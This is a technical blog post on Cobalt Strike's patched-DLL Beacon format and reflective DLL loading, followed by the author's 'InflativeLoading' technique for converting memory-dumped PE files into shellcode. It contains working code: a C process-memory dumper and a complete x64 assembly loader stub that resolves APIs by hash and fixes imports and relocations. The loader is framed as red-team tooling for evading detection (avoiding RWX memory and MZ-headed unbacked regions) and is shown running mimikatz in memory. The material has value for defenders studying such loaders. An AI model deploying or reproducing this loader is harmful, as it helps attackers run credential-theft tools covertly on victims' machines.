ReflectiveLoading And InflativeLoading

CobaltStrike's Beacon is essentially a DLL. The raw format payload is a patched DLL file. Through ingenious patching, the Beacon can achieve position independence similar to shellcode. We generate and compare payloads in both DLL and RAW formats:

The Beacon in DLL format conforms to the typical PE file format.

image.png Image not found or type unknown

For the raw format, we find that it is a patched DLL file, as its format conforms to the PE format standard.

image.png Image not found or type unknown

We can even parse out the export function **ReflectiveLoader.**

image.png Image not found or type unknown

So, what bytes were patched? Upon closely comparing the DOS headers of these two files, we will find that although the raw format payload(on the right) generally conforms to the PE format standard, its DOS header has been patched.

image.png Image not found or type unknown

For PE files, since the DOS header is not a code section, it should not be interpreted and executed as op code. Therefore, if the DOS header of a DLL file is forcibly interpreted as assembly instructions, the code does not make sense. However, the DOS header on the right has been patched into shellcode. Let's explain it:

```
4D 5A□□□□□pop r10□□□□# PE Magic Bytes
41 52□□□□□push r10□□□# Balance the stack □□□□□□
55 □□□□□□push rbp□□□# Set up stack frame
48 89 E5 □□□□mov rbp, rsp□□
48 81 EC 20 00 00 00 □sub rsp,0x20□□
48 8D 1D EA FF FF FF □lea rbx, [rip-0x16]□# Obtain the base address of the shellcode
48 89 DF □□□□mov rdi,rbx□□□
48 81 C3 F4 5F 01 00 □add rbx, 0x15ff4□# Call ReflectiveLoader export function with a hardcoded offset
FF D3 □□□□□call rbx
```

```
41 B8 F0 B5 A2 56       mov r8d,0x56a2b5f0  # Call DllMain Entrypoint
68 04 00 00 00          push 4
5A                      pop rdx
48 89 F9                mov rcx, rdi
FF D0                   call rax
```

Let's examine the hardcoded offset **0x15ff4**, whose corresponding RVA is **0x16bf4**, which indeed precisely matches the address of the export function ReflectiveLoader.

image.png Image not found or type unknown

In simple terms, patching the DOS header to transform it into a meaningful shellcode stub, ensures that when the shellcode is loaded, the execution flow jumps to the ReflectiveLoader export function, and eventually executes the DllMain function. This way, the DLL can be converted into position-independent shellcode.

ReflectiveLoading

So, what role does the ReflectiveLoader function play? Why can this export function be executed before the DLL is loaded? To answer these questions, we first need to understand that the Windows DLL Loader is responsible for loading DLLs from the disk into the virtual memory space of a process. If used in red teaming, the Windows DLL Loader has these disadvantages:

1. The DLL must exist on the disk.
2. The DLL is not obfuscated.
3. The loading of the DLL triggers kernel callbacks.

Therefore, using the Windows DLL Loader to load Beacon DLL directly is not ideal, but what if we could load the Beacon DLL from memory? This concept, known as reflective loading, was proposed and implemented by **Stephen Fewer** (https://github.com/stephenfewer/ReflectiveDLLInjection). Reflective loading offers the following advantages:

1. The DLL does not need to exist on the disk, avoiding file signatures.
2. Avoids kernel callbacks triggered by image file loading.
3. Our DLL will not be listed by the PEB.

Reflective loading means loading a DLL directly from memory. Similar to the traditional Windows DLL Loader, they both map the DLL into the process's virtual memory. When a PE file exists both on the disk and in memory, due to different alignment factors, there will be slight changes in size, raw file offsets, and the mapping relationship to RVAs. Generally, it appears more inflated in memory and more compact on the disk.

We know that PE files have a preferred loading address, although the actual base address may not match the preferred loading address when loaded. In PE files, addresses of some global variables are hard-coded (these data addresses are tracked by the **base relocation directory**), so they naturally change with the actual loading address. In addition, entries in the IAT are updated, and so on. Normally, these are done by the Windows DLL Loader, but if we want to achieve reflective loading, these tasks fall to us. Therefore, the steps to implement reflective loading include:

1. Execute the export function ReflectiveLoader directly, such as through **CreateRemoteThread** API, or patch the DLL's DOS header to make it a shellcode stub and jump to ReflectiveLoader, like Cobalt Strike does.
2. The ReflectiveLoader function calculates the base address of the DLL by moving backward until it reaches the **MZ** signature, i.e., Magic Bytes.
3. Obtain addresses of necessary modules and APIs like **LoadLibrary**, **GetProcAddress**, **VirtualAlloc**, etc., via PEB walking, because the ReflectiveLoader function is called before the DLL is loaded, requiring position independence, i.e., no use of global variables or direct API calls.
4. Use VirtualAlloc to allocate **RWX** memory space to store the mapped DLL.
5. Copy the DLL's headers and sections to the allocated memory space and set corresponding memory permissions for different regions.
6. Fix the IAT table. For each imported DLL, iterate through each imported function. Patch the address of the imported function based on how it is imported (by ordinal or name).
7. Fix the relocation table by calculating the delta between the actual base address and the preferred address, then applying this delta value to each hard-coded address.
8. Call the DllMain entry function; the DLL is successfully loaded into memory.
9. If jumped via a shellcode stub, the ReflectiveLoader function returns to the shellcode stub after execution. If called through CreateRemoteThread, the thread ends.

For specific code implementation, refer to the original project (
https://github.com/stephenfewer/ReflectiveDLLInjection/blob/master/dll/src/ReflectiveLoader.c).

To get a better understanding of fixing the base relocation table, let's study a case:

The preferred address of calc is 0x140000000.

image.png
Image not found or type unknown

calc has 2 relocation blocks, and they have 12 and 2 entries respectively.

image.png
Image not found or type unknown

The **Page RVA** and **Block Size** each occupy 4 bytes, totaling 8 bytes. Starting from the 9th byte, each entry occupies 2 bytes. Therefore, the size of each relocation block is **8 + 2 * number of entries**, here it is **32 = 8 + 12 * 2.**

From the WORD value in each entry, we can extract its offset from the page, and by adding the page's RVA, we can obtain the RVA of the hard-coded address. We select a hard-coded address located at an RVA of 0x2000, with a value of 0x140003060, which has an offset of **0x3060** relative to the preferred address.

image.png Image not found or type unknown

In WinDBG, when calc is present in the memory space, we would find that this address has been updated:

image.png Image not found or type unknown

Despite the address update process during relocation, the relative offset from the image base address remains 0x3060.

For more complex PE files, additional considerations such as the **Exception Directory**, **TLS Directory**, and **function arguments** might need to be processed.

InflativeLoading

Reflective loading enables loading DLLs from memory, effectively evading certain IOCs. However, as detection capabilities evolve, reflective loading can still leave behind significant IOCs.

1. The series of actions such as allocating space, modifying values, copying sections, and changing permissions are noisy.
2. Allocating memory space with **RWX** permission is a red flag.
3. From the perspective of the call stack, because the loaded DLL does not mapped from the disk, it lacks corresponding symbols. As shown below, many functions do not have associated modules or symbols. This memory area is also **private**, suggesting it might be shellcode. Such memory areas are referred to as **floating code** or **unbacked memory**. Investigating this memory area and finding it starts with **MZ** can easily confirm the presence of reflective loading.

```
0:004> k
 # Child-SP          RetAddr               Call Site
00 0000009e`4b3afe58 00000245`d207208d     KERNEL32!SleepEx
01 0000009e`4b3afe60 00000245`d2073260     0x00000245`d207208d
02 0000009e`4b3afe68 00000245`d1cf5580     0x00000245`d2073260
03 0000009e`4b3afe70 00000245`cfdb5d10     0x00000245`d1cf5580
04 0000009e`4b3afe78 0000009e`4b3afe08     0x00000245`cfdb5d10
05 0000009e`4b3afe80 00000245`d2071000     0x0000009e`4b3afe08
06 0000009e`4b3afe88 00000245`d20722c0     0x00000245`d2071000
07 0000009e`4b3afe90 00000245`d2071000     0x00000245`d20722c0
08 0000009e`4b3afe98 00007ffb`c87f0000     0x00000245`d2071000
09 0000009e`4b3afea0 00000000`00000000     ucrtbase!parse_bcp47 <PERF> (ucrtbase+0x0)
```

image.png Image not found or type unknown

Regarding point 3, further reading can be found in this article(https://www.elastic.co/security-labs/hunting-memory). In the example above, I used reflective loading on a PE file that calls **SleepEx** to facilitate observation of the call stack.

Aside from IOCs, reflective loading also has some inconveniences, such as the need to include Stephen Fewer's reflective loading project in our DLL project, which can be somewhat cumbersome for DLLs whose source codes are not available. Moreover, if the DLL has an export function for ReflectiveLoader and it is not slightly modified, it can also be an IOC.

Therefore, I propose **InflativeLoading**, aimed at optimizing reflective loading. Admittedly, it doesn't solve all the issues associated with reflective loading, such as the IOC mentioned in point 3 (though it can address a few of them). To better address point 3, we need to combine it with other techniques, such as Module Stomping(https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection).

The idea behind InflativeLoading is to prepend a **0x1000** byte (the size of a memory page) shellcode stub to the PE file (with arbitrary data added afterward to pad to 0x1000 bytes), making the PE file position-independent shellcode, somewhat similar to the implementation of CobaltStrike beacon. However, it does not require specific export functions, making it more friendly for PE files whose source codes may not be available.

It's important to note that the PE file mentioned here is not the original PE file but its dump from memory. This approach is chosen because, as mentioned earlier, the size of a PE file differs between memory and disk, especially for packed programs. In reflective loading, sections are copied directly into allocated memory space, which is usually fine, but size differences can lead to unexpected results in certain cases. Additionally, exporting from memory eliminates the need for conversions between original file offsets and RVAs, simplifying calculations. Also, there's no need to call **VirtualAlloc** to allocate new memory space because the dump file represents the PE file in memory form, though some data, such as the IAT table, still needs to be fixed.

The shellcode stub obtains necessary module and function addresses through PEB walking, calculates the starting address of the PE file through offsets, and fixes the IAT table, the relocation table, the delay import table, etc. Since operations like fixing the IAT table require data updates, some sections of the PE file need **RW** permissions, while the **.text** section needs **RX** permissions. Initially, we can allocate **RW** permissions to the entire shellcode, then change the permissions of the **shellcode stub** and **.text section** area to **RX**, ensuring the entire shellcode executes without issues.

image.png Image not found or type unknown

Regarding the issue of unbacked memory, although it has not been well resolved without the combination of module stomping, we have avoided memory areas with **RWX permission**, and the areas with RX permissions do not start with the MZ Magic Bytes. This increases the difficulty of investigation to some extent.

To summarize, Inflative Loading offers several advantages over Reflective Loading:

1. Does not require specific export functions, making it more friendly to PE files where source code and compilation are inconvenient.
2. Avoids unintended results due to differences between the PE file in disk and memory in certain cases.
3. Eliminates the need for conversion between original file offsets and RVAs.
4. Avoids additional memory space allocation.
5. Avoids RWX memory areas.
6. Even in RX memory areas, it does not start with the MZ signature, increasing the difficulty of investigation.

So, how can this be implemented in code? First, we need to obtain the dump of the PE file in memory, which is easily achievable:

```
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>



#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996)

EXTERN_C NTSTATUS NTAPI NtQueryInformationProcess(
    HANDLE ProcessHandle,
    PROCESSINFOCLASS ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength
);



BOOL ReadPEFile(LPCSTR lpFileName, PBYTE* pPe, SIZE_T* sPe) {

    HANDLE    hFile = INVALID_HANDLE_VALUE;
    PBYTE    pBuff = NULL;
    DWORD    dwFileSize = NULL,
        dwNumberOfBytesRead = NULL;

    hFile = CreateFileA(lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        printf("[!] CreateFileA Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    dwFileSize = GetFileSize(hFile, NULL);
    if (dwFileSize == NULL) {
        printf("[!] GetFileSize Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    pBuff = (PBYTE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize);
    if (pBuff == NULL) {
        printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError());
        goto _EndOfFunction;
    }

    if (!ReadFile(hFile, pBuff, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
        printf("[!] ReadFile Failed With Error : %d \n", GetLastError());
        printf("[!] Bytes Read : %d of : %d \n", dwNumberOfBytesRead, dwFileSize);
        goto _EndOfFunction;
    }

    printf("[+] DONE \n");



_EndOfFunction:
    *pPe = (PBYTE)pBuff;
    *sPe = (SIZE_T)dwFileSize;
    if (hFile)
        CloseHandle(hFile);
    if (*pPe == NULL || *sPe == NULL)
        return FALSE;
    return TRUE;
}




DWORD ParsePE(PBYTE pPE)
{
    DWORD size = 0;
    PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pPE;
```

```
	if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE) {
		return -1;
	}

	PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pPE + pImgDosHdr->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE) {
		return -1;
	}

	IMAGE_OPTIONAL_HEADER	ImgOptHdr = pImgNtHdrs->OptionalHeader;
	if (ImgOptHdr.Magic != IMAGE_NT_OPTIONAL_HDR_MAGIC) {
		return -1;
	}

	printf("[+] Size Of The Image : 0x%x \n", ImgOptHdr.SizeOfImage);
	size = ImgOptHdr.SizeOfImage;
	return size;
}





int main(int argc, char* argv[])
{
	PBYTE	pPE = NULL;
	SIZE_T	sPE = NULL;
	if (argc < 3)
	{
		printf("Usage: DumpPEFromMemoryMemory.exe <Native EXE> <Dump File>\nE.g. ReadPEInMemory.exe mimikatz.exe mimikatz.bin\n");
		return -1;
	}
	LPCSTR filename = argv[1];
	char* outputbin = argv[2];

	if (!ReadPEFile(filename, &pPE, &sPE)) {
		return -1;
	}
```

```
    DWORD size_of_image = ParsePE(pPE);
    HeapFree(GetProcessHeap(), NULL, pPE);

    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    if (!CreateProcessA(filename, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcess failed (%d).\n", GetLastError());
        return 1;
    }
    printf("Process PID: %lu\n", pi.dwProcessId);
    PROCESS_BASIC_INFORMATION pbi;
    NTSTATUS status = NtQueryInformationProcess(pi.hProcess, ProcessBasicInformation, &pbi,
sizeof(PROCESS_BASIC_INFORMATION), NULL);

    if (status == 0) {
        printf("PEB Address:%p\n", pbi.PebBaseAddress);
        PVOID imageBaseAddress;
        SIZE_T bytesRead;

        ReadProcessMemory(pi.hProcess, (PCHAR)pbi.PebBaseAddress + sizeof(PVOID) * 2, &imageBaseAddress,
sizeof(PVOID), &bytesRead);
        printf("Image Base Address:%p\n", imageBaseAddress);

        SIZE_T totalSize = size_of_image;    //Total size of PE image in memory
        const SIZE_T CHUNK_SIZE = 0xb000; // Chunk size for reading and writing
        BYTE buffer[0xb000];    //Number of bytes read each time



        SIZE_T totalBytesRead = 0;

        // Calculate the number of iterations needed
        int numIterations = (totalSize / CHUNK_SIZE) + (totalSize % CHUNK_SIZE ? 1 : 0);

        FILE* file = fopen(outputbin, "ab"); // Open file in append mode
        if (file == NULL) {
            printf("Failed to open %s for writing\n", outputbin);
            exit(1);
        }

        for (int iteration = 0; iteration < numIterations; iteration++) {
            BYTE buffer[CHUNK_SIZE];
            SIZE_T offset = iteration * CHUNK_SIZE;
            SIZE_T sizeToRead = min(CHUNK_SIZE, totalSize - offset);

            if (!ReadProcessMemory(pi.hProcess, (PBYTE)imageBaseAddress + offset, &buffer, sizeToRead, &bytesRead)) {
                printf("Error reading memory: %d\n", GetLastError());
                break;
            }

            fwrite(buffer, 1, bytesRead, file);
            totalBytesRead += bytesRead;
        }

        fclose(file);
        printf("Data successfully written to %s. Total bytes read: 0x%x\n", outputbin, totalBytesRead);
    }
    else {
        printf("Error");
    }

    if (!TerminateProcess(pi.hProcess, 0)) {
        printf("TerminateProcess failed (%d).\n", GetLastError());
        return 1;
    }

    return 0;
}
```

Regarding the execution of this process on the development machine rather than the target host, the approach involves running the specified program in a new process in a suspended state to prevent any disruptions to the development machine. The program then reads the entire memory space of the main module incrementally via ReadProcessMemory and writes it to a local file until the reading and saving process is completed.

As for the shellcode stub, although it's possible to write PIC code in C and then extract the shellcode, writing the assembly code directly enhances understanding.

1: Obtaining Addresses of Modules and Functions

Let's reuse some of the shellcode from micr0shell(
https://github.com/senzee1984/micr0_shell/blob/main/micr0%20shell.py):

```
"start:"
" and rsp, 0xFFFFFFFFFFFFFFF0;"□□# Stack alignment
" xor rdx, rdx;"
" mov rax, gs:[rdx+0x60];"□□# RAX = PEB Address

"find_kernel32:"
" mov rsi,[rax+0x18];"□□□# RSI = Address of _PEB_LDR_DATA
" mov rsi,[rsi + 0x30];"□□# RSI = Address of the InInitializationOrderModuleList
" mov r9, [rsi];"□□□
" mov r9, [r9];"□□□
" mov r9, [r9+0x10];"□□□# kernel32.dll
" jmp function_stub;"□□□# Jump to func call stub


"parse_module:"□□□□# Parsing DLL file in memory
" mov ecx, dword ptr [r9 + 0x3c];"□# R9 = Base address of the module, ECX = NT header offset
" xor r15, r15;"
" mov r15b, 0x88;"□□□# Offset to Export Directory
" add r15, r9;"□□□□
" add r15, rcx;"□□□# R15 points to Export Directory
" mov r15d, dword ptr [r15];"□□# R15 = RVA of export directory
" add r15, r9;"□□□□# R15 = VA of export directory
" mov ecx, dword ptr [r15 + 0x18];"□# ECX = # of function names as an index value
" mov r14d, dword ptr [r15 + 0x20];"□# R14 = RVA of ENPT
" add r14, r9;"□□□□# R14 = VA of ENPT


"search_function:"□□□# Search for a given function
" jrcxz not_found;"□□□# If RCX = 0, the given function is not found
" dec ecx;"□□□□# Decrease index by 1
" xor rsi, rsi;"
" mov esi, [r14 + rcx*4];"□□# RVA of function name
" add rsi, r9;"□□□□# RSI points to function name string
```

```
"function_hashing:"□□□# Hash function name function
" xor rax, rax;"
" xor rdx, rdx;"
" cld;"□□□□□# Clear DF flag



"iteration:"□□□□# Iterate over each byte
" lodsb;"□□□□# Copy the next byte of RSI to Al
" test al, al;"□□□□# If reaching the end of the string
" jz compare_hash;"□□□# Compare hash
" ror edx, 0x0d;"□□□# Part of hash algorithm
" add edx, eax;"□□□# Part of hash algorithm
" jmp iteration;"□□□# Next byte



"compare_hash:"□□□□# Compare hash
" cmp edx, r8d;"□□□# R8 = Supplied function hash
" jnz search_function;"□□□# If not equal, search the previous function (index decreases)
" mov r10d, [r15 + 0x24];"□□# Ordinal table RVA
" add r10, r9;"□□□□# R10 = Ordinal table VMA
" movzx ecx, word ptr [r10 + 2*rcx];"□# Ordinal value -1
" mov r11d, [r15 + 0x1c];"□□# RVA of EAT
" add r11, r9;"□□□□# r11 = VA of EAT
" mov eax, [r11 + 4*rcx];"□□# RAX = RVA of the function
" add rax, r9;"□□□□# RAX = VA of the function
" ret;"
"not_found:"
" xor rax, rax;"□□□# Return zero
" ret;"



"function_stub:"□□□
" mov rbp, r9;"□□□□# RBP stores base address of Kernel32.dll
" mov r8d, 0xec0e4e8e;"□□□# LoadLibraryA Hash
" call parse_module;"□□□# Search LoadLibraryA's address
" mov r12, rax;"□□□# R12 stores the address of LoadLibraryA function
" mov r8d, 0x7c0dfcaa;"□□□# GetProcAddress Hash
" call parse_module;"□□□# Search GetProcAddress's address
" mov r13, rax;"□□□# R13 stores the address of GetProcAddress function
```

2: Obtain the starting address of the PE file and prepare for fixing the IAT table

Here, we don't hardcode the offset value; instead, we will dynamically calculate it.

```
" jmp fix_import_dir;"□□□# Jump to fix_import_dir section



"find_nt_header:"□□□# Quickly return NT header in RAX
" xor rax, rax;"
" mov eax, [rbx+0x3c];"   □□# EAX contains e_lfanew
" add rax, rbx;"          □□# RAX points to NT Header
" ret;"□□□□□



"fix_import_dir:"  □□□# Init necessary variable for fixing IAT
" xor rsi, rsi;"
" xor rdi, rdi;"
f"lea rbx, [rip+{CODE_OFFSET}];"□# Jump to the dump file
" call find_nt_header;"
" mov esi, [rax+0x90];"  □□# ESI = ImportDir RVA
" add rsi, rbx;"         □□# RSI points to ImportDir
" mov edi, [rax+0x94];"   □□# EDI = ImportDir Size
" add rdi, rsi;"          □□# RDI = ImportDir VA + Size
```

3: Fix the IAT table

Here, there are 2 loops: the outer loop iterates over the imported modules, and the inner loop iterates over the imported functions within those modules.

```
"loop_module:"
" cmp rsi, rdi;"          □□# Compare current descriptor with the end of import directory
" je loop_end;"□□    □□# If equal, exit the loop
" xor rdx ,rdx;"
" mov edx, [rsi+0x10];"        □□# EDX = IAT RVA (32-bit)
" test rdx, rdx;"         □□# Check if ILT RVA is zero (end of descriptors)
" je loop_end;"□□    □□# If zero, exit the loop
" xor rcx, rcx;"
" mov ecx, [rsi+0xc];"    □□# RCX = Module Name RVA
" add rcx, rbx;"          □□# RCX points to Module Name
" call r12;"              □□# Call LoadLibraryA
" xor rdx ,rdx;"□□□
" mov edx, [rsi+0x10];"        □□# Restore IAT RVA
" add rdx, rbx;"          □□# RDX points to IAT
" mov rcx, rax;"          □□# Module handle for GetProcAddress
" mov r14, rdx;"□□□# Backup IAT Address


"loop_func:"
" mov rdx, r14;"□□□# Restore IAT address + processed entries
" mov rdx, [rdx];"        □□# RDX = Ordinal or RVA of HintName Table
" test rdx, rdx;"         □□# Check if it's the end of the IAT
" je next_module;"□   □□# If zero, move to the next descriptor
" mov r9, 0x8000000000000000;"
" test rdx, r9;"  □□□# Check if it is import by ordinal (highest bit set)
" mov rbp, rcx;"□□□# Save module base address
" jnz resolve_by_ordinal;"□□# If set, resolve by ordinal


"resolve_by_name:"
" add rdx, rbx;"          □□# RDX = HintName Table VA
" add rdx, 2;"□□  □□# RDX points to Function Name
" call r13;"              □□# Call GetProcAddress
" jmp update_iat;"        □□# Go to update IAT


"resolve_by_ordinal:"
" mov r9, 0x7fffffffffffffff;"
" and rdx, r9;"□□□  □# RDX = Ordinal number
" call r13;"              □□# Call GetProcAddress with ordinal


"update_iat:"
" mov rcx, rbp;"          □□# Restore module base address
" mov rdx, r14;"□□□□# Restore IAT Address + processed entries
" mov [rdx], rax;"        □□# Write the resolved address to the IAT
" add r14, 0x8;"□□  □# Movce to the next ILT entry
" jmp loop_func;"□□□# Repeat for the next function
```

```
"next_module:"
" add rsi, 0x14;"        □□# Move to next import descriptor
" jmp loop_module;"  □□□# Continue loop



"loop_end:"
```

4: Fix the relocation table

The methodology for fixing the relocation table has already been explained in the previous section. It's important to note that the last entry of some relocation blocks might be empty.

image.png Image not found or type unknown

```
"fix_basereloc_dir:"□□□# Save RBX //dq rbx+21b0 l46
" xor rsi, rsi;"
" xor rdi, rdi;"
" xor r8, r8;"□□□□# Empty R8 to save page RVA
" xor r9, r9;"□□□□# Empty R9 to place block size
" xor r15, r15;"
" call find_nt_header;"
" mov esi, [rax+0xb0];"  □□# ESI = BaseReloc RVA
" add rsi, rbx;"        □□# RSI points to BaseReloc
" mov edi, [rax+0xb4];"  □□# EDI = BaseReloc Size
" add rdi, rsi;"        □□# RDI = BaseReloc VA + Size
" mov r15d, [rax+0x28];"□□# R15 = Entry point RVA
" add r15, rbx;"□□□# R15 = Entry point
" mov r14, [rax+0x30];"□□□# R14 = Preferred address
" sub r14, rbx;"□□□# R14 = Delta address
" mov [rax+0x30], rbx;"□□□# Update Image Base Address
" mov r8d, [rsi];"□□□# R8 = First block page RVA
" add r8, rbx;"□□□□# R8 points to first block page (Should add an offset later)
" mov r9d, [rsi+4];"□□□# First block's size
" xor rax, rax;"
" xor rcx, rcx;"



"loop_block:"
```

```
" cmp rsi, rdi;"          □□# Compare current block with the end of BaseReloc
" jge basereloc_fixed_end;"    □□# If equal, exit the loop
" xor r8, r8;"
" mov r8d, [rsi];"□□□# R8 = Current block's page RVA
" add r8, rbx;"□□□□# R8 points to current block page (Should add an offset later)
" mov r11, r8;"□□□□# Backup R8
" xor r9, r9;"
" mov r9d, [rsi+4];"□□□# R9 = Current block size
" add rsi, 8;"□□□□# RSI points to the 1st entry, index for inner loop for all entries
" mov rdx, rsi;"
" add rdx, r9;"
" sub rdx, 8;"□□□□# RDX = End of all entries in current block


"loop_entries:"
" cmp rsi, rdx;"□□□# If we reached the end of current block
" jz next_block;"□□□# Move to next block
" xor rax, rax;"
" mov ax, [rsi];"□□□# RAX = Current entry value
" test rax, rax;"□□□# If entry value is 0
" jz skip_padding_entry;"□□# Reach the end of entry and the last entry is a padding entry
" mov r10, rax;"□□□# Copy entry value to R10
" and eax, 0xfff;"□□□# Offset, 12 bits
" add r8, rax;"□□□□# Added an offset


"update_entry:"
" sub [r8], r14;"□□□# Update the address
" mov r8, r11;"□□□□# Restore r8
" add rsi, 2;"□□□□# Move to next entry by adding 2 bytes
" jmp loop_entries;"


"skip_padding_entry:"□□□# If the last entry is a padding entry
" add rsi, 2;"□□□□# Directly skip this entry


"next_block:"
" jmp loop_block;"
```

```
"basereloc_fixed_end:"
" sub rsp, 0x8;"□□□# Stack alignment
```

5: Fix the delay-load import table

For some complex PE files, such as mimikatz, there is a **delay-load import table**, which, if not fixed, will cause errors. However, the structure of the delay-load import table and the approach to fix it are very similar to those of the IAT.

image.png Image not found or type unknown

```
"fix_delayed_import_dir:"
" call find_nt_header;"
" mov esi, [rax+0xf0];"□□□# ESI = DelayedImportDir RVA
" test esi, esi;"□□□# If RVA = 0?
" jz delayed_loop_end;"□□□# Skip delay import table fix
" add rsi, rbx;"□□□# RSI points to DelayedImportDir


"delayed_loop_module:"
" xor rcx, rcx;"□□□
" mov ecx, [rsi+4];"□□□# RCX = Module name string RVA
" test rcx, rcx;"□□□# If RVA = 0, then all modules are processed
" jz delayed_loop_end;"□□□# Exit the module loop
" add rcx, rbx;"□□□# RCX = Module name
" call r12;"□□□□# Call LoadLibraryA
" mov rcx, rax;"□□□# Module handle for GetProcAddress for 1st arg
" xor r8, r8;"□□□□
" xor rdx, rdx;"
" mov edx, [rsi+0x10];"□□□# EDX = INT RVA
" add rdx, rbx;"□□□# RDX points to INT
" mov r8d, [rsi+0xc];"□□□# R8 = IAT RVA
" add r8, rbx;"□□□□# R8 points to IAT
" mov r14, rdx;"□□□# Backup INT Address
" mov r15, r8;"□□□□# Backup IAT Address


"delayed_loop_func:"
```

```
" mov rdx, r14;"□□□# Restore INT Address + processed data
" mov r8, r15;"□□□□# Restore IAT Address + processed data
" mov rdx, [rdx];"□□□# RDX = Name Address RVA
" test rdx, rdx;"□□□# If Name Address value is 0, then all functions are fixed
" jz delayed_next_module;"□□# Process next module
" mov r9, 0x8000000000000000;"
" test rdx, r9;"□□□# Check if it is import by ordinal (highest bit set of NameAddress)
" mov rbp, rcx;"□□□# Save module base address
" jnz delayed_resolve_by_ordinal;"□# If set, resolve by ordinal


"delayed_resolve_by_name:"
" add rdx, rbx;"□□□# RDX points to NameAddress Table
" add rdx, 2;"□□□□# RDX points to Function Name
" call r13;"□□□□# Call GetProcAddress
" jmp delayed_update_iat;"□□# Go to update IAT


"delayed_resolve_by_ordinal:"
" mov r9, 0x7fffffffffffffff;"
" and rdx, r9;"□□□□# RDX = Ordinal number
" call r13;"□□□□# Call GetProcAddress with ordinal


"delayed_update_iat:"
" mov rcx, rbp;"□□□# Restore module base address
" mov r8, r15;"□□□□# Restore current IAT address + processed
" mov [r8], rax;"□□□# Write the resolved address to the IAT
" add r15, 0x8;"□□□# Move to the next IAT entry (64-bit addresses)
" add r14, 0x8;"□□□# Movce to the next INT entry
" jmp delayed_loop_func;"□□# Repeat for the next function


"delayed_next_module:"
" add rsi, 0x20;"□□□# Move to next delayed imported module
" jmp delayed_loop_module;"□□# Continue loop


"delayed_loop_end:"
```

6: Jump to the PE entry point

Here, we have completed the necessary repairs. However, for more complex PE files, repairs to other tables might be required, such as the TLS directory. Execution is then transferred to the entry point of the PE.

```
"all_completed:"
" call find_nt_header;"
" xor r15, r15;"
" mov r15d, [rax+0x28];"□□# R15 = Entry point RVA
" add r15, rbx;"□□□# R15 = Entry point    □□
" jmp r15;"
```

7: Miscellaneous

To dynamically calculate offsets, we generate 2 segments of shellcode: the shellcode from step 1 forms 1 segment, and the rest forms another segment.

```
    ks = Ks(KS_ARCH_X86, KS_MODE_64)
    encoding, count = ks.asm(CODE)
    CODE_LEN = len(encoding) + 25
    CODE_OFFSET = 4096 - CODE_LEN
```

Add support for program arguments by modifying the command line and its length in the PEB. Such modifications could be effective for some programs, but compatibility is still insufficient.

```
def generate_asm_by_cmdline(new_cmd):
    new_cmd_length = len(new_cmd) * 2 + 12
    unicode_cmd = [ord(c) for c in new_cmd]



    fixed_instructions = [
        "mov rsi, [rax + 0x20];□□□# RSI = Address of ProcessParameter",
        "add rsi, 0x70; □□□# RSI points to CommandLine member",
        f"mov byte ptr [rsi], {new_cmd_length}; # Set Length to the length of new commandline",
        "mov byte ptr [rsi+2], 0xff; # Set the max length of cmdline to 0xff bytes",
        "mov rsi, [rsi+8]; # RSI points to the string",
        "mov dword ptr [rsi], 0x002e0031; □# Push '.1'",
        "mov dword ptr [rsi+0x4], 0x00780065; □# Push 'xe'",
        "mov dword ptr [rsi+0x8], 0x00200065; □# Push ' e'"
    ]

    start_offset = 0xC
    dynamic_instructions = []
    for i, char in enumerate(unicode_cmd):
        hex_char = format(char, '04x')
        offset = start_offset + (i * 2)
        if i % 2 == 0:
            dword = hex_char
        else:
            dword = hex_char + dword
            instruction = f"mov dword ptr [rsi+0x{offset-2:x}], 0x{dword};"
            dynamic_instructions.append(instruction)
    if len(unicode_cmd) % 2 != 0:
        instruction = f"mov word ptr [rsi+0x{offset:x}], 0x{dword};"
        dynamic_instructions.append(instruction)
    final_offset = start_offset + len(unicode_cmd) * 2
    dynamic_instructions.append(f"mov byte ptr [rsi+0x{final_offset:x}], 0;")
    instructions = fixed_instructions + dynamic_instructions
    return "\n".join(instructions)
```

To better support command line parsing, we also need to perform IAT Hooking on **GetCommandLineA**, **GetCommandLineW**, **__getmainargs**, and **__wgetmainargs** functions, modifying the implementations of them. However, different programs handle arguments differently, and even if these 4 functions are hooked, there are still programs that cannot correctly parse command lines.

Let's look at the execution effect after converting mimikatz into shellcode (mimi.bin is the memory dump file of mimikatz):

image.png
Image not found or type unknown

Even calc packed with UPX can be converted into position-independent shellcode and executed:

image.png
Image not found or type unknown

You can find the project at https://github.com/senzee1984/InflativeLoading

References and Credits

The following resources inspired me a lot during my research and development:

https://github.com/TheWover/donut

https://github.com/d35ha/PE2Shellcode

https://github.com/hasherezade/pe_to_shellcode

https://github.com/monoxgas/sRDI

https://github.com/stephenfewer/ReflectiveDLLInjection

https://securityintelligence.com/x-force/defining-cobalt-strike-reflective-loader/

https://maldevacademy.com/

https://www.elastic.co/security-labs/hunting-memory

https://www.ired.team/offensive-security/code-injection-process-injection/modulestomping-dll-hollowing-shellcode-injection

Revision #10
Created 8 March 2024 19:30:07 by winslow
Updated 9 March 2024 13:58:34 by winslow